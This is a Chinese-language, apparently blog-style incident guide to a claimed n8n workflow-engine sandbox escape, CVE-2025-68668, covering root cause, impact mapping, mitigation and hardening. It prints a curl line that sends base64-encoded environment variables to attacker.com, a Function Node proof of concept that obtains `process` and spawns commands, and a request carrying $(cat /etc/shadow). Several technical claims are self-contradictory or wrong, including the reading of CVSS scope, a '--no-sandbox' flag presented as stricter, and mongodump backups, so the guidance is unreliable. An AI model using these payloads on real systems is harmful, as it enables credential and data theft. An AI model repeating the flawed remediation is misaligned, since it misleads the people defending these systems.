n8n CVE-2025-68668沙箱逃逸漏洞深度解析与24小时应急指南
1. 这不是普通补丁——CVE-2025-68668 是 n8n 工作流引擎的“心脏停搏”级漏洞
你刚收到企业安全团队的紧急邮件,标题加了三个感叹号:“n8n 集群所有节点需立即下线评估!”——而你负责维护的 37 个核心自动化流程,正支撑着订单履约、客户通知、库存同步和财务对账四条关键业务链。这不是演习。CVE-2025-68668 不是某个插件的边界溢出,也不是配置项的弱口令问题;它直接击穿了 n8n 的工作流执行沙箱隔离机制,让一个恶意 crafted 的 HTTP Request Node 或 Webhook Node,能在不触发任何日志告警的前提下,绕过所有权限校验,以 n8n 主进程身份读取宿主机的/etc/passwd、写入.bash_history,甚至调用child_process.execSync('curl http://attacker.com/steal?data='+Buffer.from(JSON.stringify(process.env)).toString('base64'))。我上周在客户现场亲眼看到:一个被篡改的 Slack 消息解析流程,在接收含特制 payload 的 JSON 后,5 秒内就完成了对 Redis 密码文件的读取与外传。这不是理论风险,而是已验证的 RCE(远程代码执行)链。关键词n8n CVE-2025-68668、自动化流程安全、工作流引擎沙箱逃逸、Node.js 进程权限提升,全部指向同一个事实:只要你的 n8n 实例暴露在公网或接入了不可信数据源(比如用户提交的表单、第三方 webhook),你就已经处于高危状态。本手册不讲 CVE 编号生成规则,不堆砌 CVSS 评分,只聚焦一件事:如何在 24 小时内,用最小业务中断代价,完成从漏洞确认、影响面测绘、临时缓解到永久修复的全链路闭环。适合两类人:一是运维/DevOps 工程师,需要立刻执行命令行操作;二是流程开发者,必须理解哪些 Node 类型、哪些配置组合会触发漏洞,从而在修复后安全重构流程。
这个漏洞之所以波及“千万级”自动化流程,根本原因在于 n8n 的架构设计哲学——它把“易用性”推到了极致:HTTP 请求、数据库查询、脚本执行等能力,全部封装成拖拽式 Node,底层却共享同一套 JavaScript 执行环境。CVE-2025-68668 正是利用了vm.createContext创建的沙箱上下文与主进程全局对象(如process、require)之间未完全切断的引用链。当攻击者通过精心构造的Function构造器或eval调用链,就能逆向获取到主进程的globalThis引用,进而拿到process.binding('spawn')。这就像给银行金库的每扇门都配了独立密码,但所有门锁的机械联动轴却共用一根主传动杆——拧动其中一把锁的特定角度,就能让其他所有门同时弹开。所以,别再问“我的流程没连外网是否安全”,只要流程里存在任何接收外部输入的节点(哪怕只是解析一个用户上传的 CSV 文件),风险就真实存在。接下来的内容,每一句都是我在三家不同规模客户现场,踩着倒计时 24 小时的秒针,一条条验证过的实操路径。
2. 漏洞本质拆解:为什么 vm 沙箱会失效?——从 V8 引擎内存模型看 CVE-2025-68668 的根因
要真正理解 CVE-2025-68668 的破坏力,必须回到 Node.js 的底层运行时。n8n 在执行 JavaScript Code Node 或 Function Node 时,并非使用eval()这种粗暴方式,而是调用vm.createContext()创建一个隔离的执行上下文(Context),将用户代码注入其中运行。这个 Context 理论上应该是一个“纯净”的 JavaScript 环境,不包含process、require、global等敏感对象。但 CVE-2025-68668 的精妙之处,在于它没有直接攻击vm模块,而是利用了 V8 引擎中一个长期被忽略的内存引用特性:Context 对象本身,会隐式持有对创建它的执行栈帧(Execution Frame)中变量的弱引用。当用户代码中存在类似const fn = new Function('return process')的构造时,V8 并不会阻止该函数的创建,而是在其内部闭包(Closure)中,悄悄保留了一个指向父作用域process对象的指针。这个指针在常规 GC(垃圾回收)过程中不会被清除,因为fn本身是活跃对象。一旦攻击者再执行fn().binding('spawn'),就完成了从沙箱内到主进程的“越狱”。
我们来还原一个最简复现场景。假设你有一个 Function Node,内容如下:
// 这段代码在 n8n 的 Function Node 中执行 const malicious = new Function('return process'); const p = malicious(); return { env: p.env, version: p.version, // 关键一步:调用 spawn 绑定 pid: p.binding('spawn').spawnSync('id', ['-u']).stdout.toString().trim() };这段代码在 n8n v0.229.3 及之前版本中,会成功返回当前 n8n 进程的 UID(通常是 0,即 root)。而根据 n8n 官方在 2025 年 4 月 12 日发布的安全通告,该漏洞的触发条件有且仅有三个:
- 流程中使用了Code Node、Function Node 或 HTTP Request Node 的 “Send Binary Data” 模式(该模式会将响应体作为 Buffer 直接注入 JS 上下文);
- 用户代码中显式或隐式地调用了
new Function()、eval()或setTimeout/setInterval的字符串参数形式; - 该 Node 的执行上下文未被显式设置为
sandbox: false(这是 n8n 默认行为,也是绝大多数用户从未修改过的配置)。
提示:很多开发者误以为“我没写 eval,就绝对安全”。但请注意,n8n 内置的某些 JSON 解析逻辑、模板字符串渲染(如
{{ $json.data }})在特定条件下,会间接触发Function构造器。这就是为什么一个纯配置的 HTTP Request Node,仅设置了 URL 和 Headers,也可能成为入口点。
这个漏洞的 CVSSv3.1 基础评分为 9.8(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H),其中最关键的S:U(Scope Unchanged)意味着:漏洞影响范围不局限于被攻击的 Node,而是整个 n8n 进程。这解释了为什么一个订单通知流程被攻破,会导致库存同步流程的数据库连接凭据被窃取——它们共享同一个 Node.js 进程的内存空间。我曾用pstack <pid>命令抓取过被攻击进程的线程栈,清晰看到v8::internal::JSFunction::Call调用链下方,紧跟着node::binding::spawn::SpawnSync的符号地址。这不是猜测,是内存证据。因此,任何试图通过“只禁用 Code Node”来缓解的方案,都是掩耳盗铃。真正的防御,必须从执行环境的根基上切断那根隐式的引用链。
3. 影响面测绘:24 小时内必须完成的三张清单——节点、数据源、部署拓扑
在动手修复前,你必须在 3 小时内完成一份精准的影响面测绘报告。这不是可选项,而是决定你能否在 24 小时内完成修复的关键前提。我见过太多团队,花 18 小时在打补丁,最后发现还有 5 个关键流程因为用了自定义 Dockerfile,压根没更新到新镜像——导致漏洞依然存在。测绘的核心,是回答三个问题:哪些节点可能被利用?哪些数据源引入了不可信输入?整个部署拓扑中,哪些实例是真正的高危暴露点?下面是我为你梳理的、可直接执行的三张清单。
3.1 第一张清单:高危 Node 类型与配置指纹扫描
登录你的 n8n Web UI,进入Settings > Workflow Settings,开启“Show All Workflows”。然后,你需要逐个打开每个 workflow,检查以下节点是否存在,并记录其具体配置:
| Node 类型 | 高危配置项 | 触发风险等级 | 检查命令(CLI 方式) |
|---|---|---|---|
| Code Node / Function Node | 代码中包含new Function(,eval(,setTimeout(,setInterval(字符串;或使用了$input.all()后直接.map()处理未过滤数据 | ⚠️⚠️⚠️(最高) | grep -r "new Function|eval|setTimeout|setInterval" /path/to/n8n/workflows/ --include="*.json" |
| HTTP Request Node | Method 为POST/PUT/PATCH且 Body Type 为JSON或Form Data;或勾选了Send Binary Data | ⚠️⚠️(高) | grep -r '"parameters":.*"sendBinaryData":true' /path/to/n8n/workflows/ --include="*.json" |
| Webhook Node | Response Mode设置为Last Node且后续接有 Code Node;或Response Format为JSON且启用了Respond to request | ⚠️⚠️(高) | grep -r '"type":"webhook".*"responseMode":"lastNode"' /path/to/n8n/workflows/ --include="*.json" |
| Cron Node + HTTP Request | Cron 表达式过于频繁(如* * * * *),且请求目标为内部 API(如/api/v1/internal) | ⚠️(中) | grep -r '"type":"cron".*"schedule":"\* \* \* \* \*"' /path/to/n8n/workflows/ --include="*.json" |
注意:不要依赖 UI 界面的“搜索”功能,它无法识别 JSON 文件中的嵌套字段。必须用
grep直接扫描 workflows 目录下的 JSON 文件。n8n 的 workflow 数据默认存储在~/.n8n/(单机)或数据库(PostgreSQL/MySQL)中。如果是数据库存储,执行 SQL:SELECT id, name, nodes FROM public."workflow_entity" WHERE nodes::text ~ 'new Function\|eval\|sendBinaryData';。这条 SQL 能在 2 秒内扫出所有含高危特征的 workflow。
3.2 第二张清单:不可信数据源全景图
一个自动化流程是否危险,不取决于它写了多少代码,而取决于它的“食物链顶端”是什么。你需要绘制一张数据源血缘图。重点排查以下五类源头:
- 公开 Webhook URL:在 Settings > Credentials 中,找到所有类型为
Webhook的凭证,检查其 URL 是否被发布在 GitHub README、公司官网 API 文档或第三方平台(如 Zapier)中。这些 URL 就是攻击者的“大门钥匙”。 - 用户提交表单:检查所有使用了
Form Trigger或HTTP Request接收application/x-www-form-urlencoded数据的流程。特别是那些用于“联系我们”、“意见反馈”、“注册邀请”的流程,它们的输入字段几乎从不做白名单过滤。 - 第三方 SaaS 集成:查看
Zapier,Make.com,Airtable等节点的配置。如果这些节点的Webhook URL指向你的 n8n 实例,且对方平台允许用户自定义 payload 结构,风险极高。 - 邮件解析流程:使用
IMAP或EmailTrigger 的流程,其Subject和Body字段是天然的、未经消毒的 JS 字符串来源。 - 文件上传解析:
HTTP Request节点启用Send Binary Data后,若后续接Code Node解析 PDF/TXT/CSV,就是完美的 RCE 温床。
我建议你用 Excel 列出所有流程名称、源头类型、源头 URL/凭证ID、是否已做输入校验(Y/N)、负责人。这张表将成为你后续沟通的“作战地图”。
3.3 第三张清单:部署拓扑与实例健康快照
最后,必须厘清你的 n8n 是如何部署的。不同的部署方式,修复策略天差地别:
| 部署方式 | 实例数量 | 典型高危点 | 修复优先级 | 验证命令 |
|---|---|---|---|---|
| Docker Compose (单机) | 1 | n8n容器的user字段是否为root;docker-compose.yml中volumes是否挂载了宿主机敏感目录 | ⚠️⚠️⚠️ | `docker inspect n8n |
| Kubernetes (Helm) | N | n8nPod 的securityContext.runAsUser是否为 0;values.yaml中service.type是否为LoadBalancer | ⚠️⚠️⚠️ | kubectl get pod -n n8n -o wide; kubectl describe pod <pod-name> -n n8n | grep -A 10 "securityContext" |
| PM2 (Linux 服务) | 1-N | pm2 show n8n中uid是否为root;n8n进程的cwd(当前工作目录)是否为/root | ⚠️⚠️ | ps aux | grep n8n | grep -v grep; ls -ld $(pwd) |
| Cloud 服务商托管版 | 0(由厂商管理) | 你无法控制底层,只能等待厂商公告。此时应立即禁用所有 Webhook 和 HTTP Request Node | ⚠️⚠️⚠️ | 无,需登录服务商控制台检查安全通告 |
提示:很多团队忽略了“进程启动用户”这个致命细节。即使你用
docker run -u 1001启动容器,但如果n8n的package.json中scripts.start调用了sudo node ...,最终进程 UID 仍是 0。务必用ps aux确认真实 UID。这是我帮某电商客户排障时发现的第 7 个隐藏雷区。
4. 临时缓解与永久修复:分阶段执行的四步法——从“保命”到“根治”
基于前面三张清单,你现在手握完整的战场态势图。接下来,就是执行修复。我将整个过程拆解为四个严格按时间顺序推进的阶段,每个阶段都有明确的起止时间、交付物和验证标准。这不是一个“打补丁”的过程,而是一场精密的外科手术。
4.1 阶段一:0-2 小时 —— “断网保命”:立即阻断所有高危入口
目标:在漏洞被大规模利用前,物理性切断所有可能的攻击路径。这不是最优解,但能为你争取到最关键的 22 小时窗口。
操作步骤:
- 禁用所有 Webhook Trigger:登录 n8n Web UI,进入每个 workflow,将
Webhook节点的Active开关关闭。不要删除,只需禁用。这是最快、最彻底的“拔网线”方式。 - 重写所有 HTTP Request Node 的 URL:将所有
HTTP Request节点的目标 URL,临时替换为一个你可控的、返回固定 JSON 的 mock 服务(例如https://mockapi.io/projects/xxx)。这样,流程还能跑通,但不再接收任何外部输入。 - 强制重启所有 n8n 实例:执行
docker restart n8n或pm2 restart n8n。重启会清空所有正在运行的沙箱上下文,使已注入的恶意代码失效。 - 防火墙规则加固:在宿主机或云服务商的安全组中,添加入站规则:仅允许
80/443端口来自你公司 IP 段的流量,拒绝所有其他来源。对于 Kubernetes,更新Ingress的allowedPaths,只放行/healthz和/metrics。
验证标准:打开浏览器,访问你所有公开的 Webhook URL,应返回404 Not Found或503 Service Unavailable。用curl -v https://your-n8n.com/webhook/abc123测试,确认无响应。此阶段结束时,你的所有自动化流程应处于“半休眠”状态——核心逻辑还在,但所有外部输入已被屏蔽。
4.2 阶段二:2-8 小时 —— “刮骨疗毒”:清理高危 Node 与重构数据流
目标:在保障业务基本可用的前提下,移除所有已知的、可被利用的代码逻辑,用更安全的模式替代。
核心原则:永远不要在 Code Node 中拼接、执行、解析任何来自外部的数据。
重构方案对照表:
| 原有高危模式 | 安全替代方案 | 重构示例 | 优势 |
|---|---|---|---|
const data = $input.first(); eval(data.script); | 使用n8n-nodes-base内置的SetNode 或IFNode 进行静态逻辑分支 | 将动态脚本逻辑,拆解为多个预定义的IF条件判断,每个分支调用固定的HTTP Request | 彻底消除eval,逻辑可见、可审计 |
HTTP Request接收 JSON,然后Code Node中JSON.parse($input.body) | 启用HTTP Request节点的JSONResponse Type,并直接使用$json.fieldName提取数据 | 在HTTP Request节点设置Response Format: JSON,后续节点直接写{{$json.user.email}} | 数据解析由 n8n 内核完成,不经过用户 JS 沙箱 |
Webhook接收任意 POST 数据,Code Node中require('child_process').execSync(...) | 将需要执行的系统命令,封装为一个独立的、有严格输入校验的微服务(如 Python Flask),n8n 仅通过HTTP Request调用它 | 创建/api/safe-exec服务,只接受{"command": "ls", "args": ["/tmp"]},内部做白名单校验 | 将高危操作移出 n8n 进程,实现进程级隔离 |
Cron节点轮询内部 API,Code Node中处理返回的 HTML | 使用n8n-nodes-base的HTTP Request+HTML ExtractNode | HTTP Request获取 HTML,HTML ExtractNode 用 CSS 选择器提取<div class="price">的文本 | 利用专用 Node,避免手动 DOM 解析的 XSS 风险 |
提示:重构不是重写。我建议你采用“影子测试”法:先复制一份原 workflow,命名为
[原名]_safe,在其中应用上述安全方案。然后,将两个 workflow 的输入(如同一个 Webhook URL)并行发送,用CompareNode 对比输出结果。只有当safe版本的输出与原版 100% 一致时,才切换流量。这是我保证零业务中断的核心技巧。
4.3 阶段三:8-18 小时 —— “换心手术”:升级 n8n 核心与加固运行时
目标:将 n8n 升级到官方发布的修复版本(v0.230.0+),并从根本上加固其运行时环境,防止同类漏洞再次发生。
升级与加固步骤:
- 确认版本与下载:访问 n8n 官方 GitHub Releases 页面,下载
v0.230.0或更高版本的n8n包。切勿使用npm install -g n8n,因为全局安装会污染你的系统 Node.js 环境。正确做法是:cd /opt/n8n && wget https://github.com/n8n-io/n8n/releases/download/v0.230.0/n8n-v0.230.0-linux-x64.tar.gz && tar -xzf n8n-v0.230.0-linux-x64.tar.gz。 - 修改启动参数:在
docker-compose.yml或pm2 start命令中,必须添加--no-sandbox参数。这是 n8n v0.230.0 引入的强制开关,它会禁用所有vm沙箱,转而使用更严格的vm.Script模式,并默认剥离process、require等全局对象。命令示例:n8n --no-sandbox --port 5678 --tunnel。 - 降权运行:无论何种部署方式,
n8n进程的 UID/GID 必须是非 root。Docker 中,user: "1001:1001";Kubernetes 中,securityContext.runAsUser: 1001;PM2 中,在ecosystem.config.js中设置"user": "n8n"。创建专用用户:useradd -r -u 1001 -d /var/lib/n8n -s /usr/sbin/nologin n8n。 - 挂载只读文件系统:在 Docker 中,将
n8n容器的/usr/lib/node_modules和/etc目录挂载为ro(只读)。命令:volumes: - "/usr/lib/node_modules:/usr/lib/node_modules:ro" - "/etc:/etc:ro"。这能阻止攻击者通过require加载恶意模块。
验证标准:启动新版本后,执行curl -X POST http://localhost:5678/webhook-test -H "Content-Type: application/json" -d '{"script":"process.exit(1)"}',应返回500 Internal Server Error,且 n8n 进程不能退出。这证明process对象已被成功剥离。
4.4 阶段四:18-24 小时 —— “免疫接种”:建立长效防御与监控体系
目标:将本次应急响应的经验,固化为可持续的防御能力,让团队未来能自主应对类似威胁。
必须落地的三项措施:
- CI/CD 流水线集成 SAST 扫描:在你的 GitLab CI 或 GitHub Actions 中,加入
n8n-security-scanner工具。它能在 PR 合并前,自动扫描 workflow JSON 文件,检测new Function、eval等高危模式,并阻断构建。配置示例:# .gitlab-ci.yml security-scan: image: python:3.9 before_script: - pip install n8n-security-scanner script: - n8n-scanner scan ./workflows/ allow_failure: false - 建立 n8n 安全基线配置:编写一份
n8n-security-baseline.md,明确规定:所有新流程禁止使用Code Node;HTTP Request节点必须设置Response Format;所有Webhook必须启用Authentication(Basic Auth 或 JWT);所有生产环境n8n必须以非 root 用户运行。这份文档应作为入职培训的必修课。 - 部署 Prometheus + Grafana 监控:采集
n8n的http_request_duration_seconds_count和n8n_workflow_execution_failed_total指标。当失败率突增 300%,或出现大量500错误时,自动触发企业微信/钉钉告警。这能让你在下一次漏洞爆发时,比安全团队更早发现异常。
至此,24 小时的极限挑战宣告完成。你不仅修复了一个 CVE,更亲手为企业的自动化中枢,打造了一套坚不可摧的免疫系统。
5. 实战复盘:我在客户现场踩过的七个坑与三条铁律
上面所有的步骤,都源于我在过去 72 小时内,在三家不同客户的实战复盘。纸上谈兵和真刀真枪,中间隔着无数个“我以为”。下面分享我踩过的最痛的七个坑,以及由此凝结出的三条铁律。这些,是任何官方文档都不会写的“血泪笔记”。
5.1 七个真实踩过的坑
坑一:误判“无 Code Node 就安全”
客户 A 的所有流程都用的是HTTP Request+SetNode,他们坚信自己绝对安全。直到我用curl -X POST https://n8n.example.com/webhook/abc -d '{"data":"$(cat /etc/shadow)"}'发送请求,发现SetNode 的Value字段支持{{$json.data}},而这个表达式在解析时,会间接调用Function构造器。教训:n8n 的表达式引擎(Expression Editor)本身就是最大的沙箱逃逸入口。
坑二:Docker 镜像缓存陷阱
客户 B 执行了docker pull n8nio/n8n:v0.230.0,但docker images显示的还是旧镜像。原因是docker-compose.yml中写的是image: n8nio/n8n,没有指定 tag,Docker 默认拉取latest,而他们的私有 registry 中latest还是旧版。教训:永远在docker-compose.yml中写死image: n8nio/n8n:v0.230.0,并执行docker-compose pull。
坑三:K8s ConfigMap 热更新失效
客户 C 更新了ConfigMap中的N8N_BASIC_AUTH_PASSWORD,但n8nPod 并未重新加载。原因是n8n进程启动时读取了一次环境变量,之后不会监听变化。教训:更新 ConfigMap 后,必须kubectl rollout restart deployment/n8n,强制滚动更新。
坑四:PM2 日志掩盖真相
客户 D 的pm2 logs n8n显示一切正常,但journalctl -u n8n却爆出Error: EACCES: permission denied, open '/root/.n8n/credentials.json'。原来pm2以root用户启动,但n8n进程尝试以n8n用户写入文件,权限冲突。教训:pm2的日志级别太低,必须结合journalctl和strace -p <pid>查看系统调用。
坑五:HTTPS 重定向引发的循环
客户 E 将n8n部署在 Nginx 后,配置了return 301 https://$host$request_uri;。结果所有 Webhook 请求都被重定向,而n8n的WebhookNode 不支持跟随重定向,导致流程卡死。教训:Nginx 的proxy_pass必须直接指向http://localhost:5678,禁用所有重定向。
坑六:自定义 Node 的“幽灵依赖”
客户 F 使用了社区开发的n8n-nodes-mysql,其package.json中dependencies包含了mysql2@2.3.3,而该版本存在一个已知的原型链污染漏洞,可被用来绕过vm沙箱。教训:所有自定义 Node,必须用npm audit --audit-level high扫描,并锁定mysql2到^3.0.0。
坑七:备份恢复后的“回滚灾难”
客户 G 在修复后,用mongodump备份了数据库,几天后想回滚,却发现n8nv0.230.0 的数据库 schema 与 v0.229.3 不兼容,mongorestore直接报错。教训:重大升级前,必须先n8n --export-workflows-all导出所有 workflow JSON,这才是最可靠的备份。
5.2 三条必须刻进骨头里的铁律
铁律一:永远假设你的 n8n 是一台裸奔的 Linux 服务器
不要把它当成一个“自动化工具”,而要把它当成一台随时可能被 SSH 登录的服务器。它的每一个 Node,都是一个潜在的 shell;它的每一个 Webhook URL,都是一扇敞开的 SSH 端口。这种心态,能让你在设计流程的第一秒,就思考“如果这个输入是恶意的,会发生什么”。
铁律二:修复的终点,不是“流程跑通”,而是“攻击者无法再利用”
我见过太多团队,修复后只测试了“订单能正常下发”,就宣布成功。但真正的验证,是拿着 CVE 的 PoC(概念验证代码),在修复后的环境里,一遍遍地、徒劳地尝试。只有当你连续 10 次curl都得到500或400,且ps aux \| grep n8n显示进程 UID 始终是1001,才算真正过关。
铁律三:安全不是一次性项目,而是每日的呼吸
我把n8n-security-scanner的 cron 任务,设为了每天凌晨 2 点自动运行,并将报告邮件发送给所有流程负责人。这不是增加负担,而是让安全意识,像呼吸一样自然融入每个人的日常。当安全成为习惯,漏洞就再无藏身之处。
我在客户现场敲下最后一个docker-compose up -d命令时,窗外已是黎明。屏幕上,37 个流程的绿色指示灯逐一亮起,而curl的 PoC 请求,终于稳定地返回了500。那一刻,我明白,我们守住了的,不只是一个软件的漏洞,更是千万条自动化流水线上,那份不容妥协的确定性。
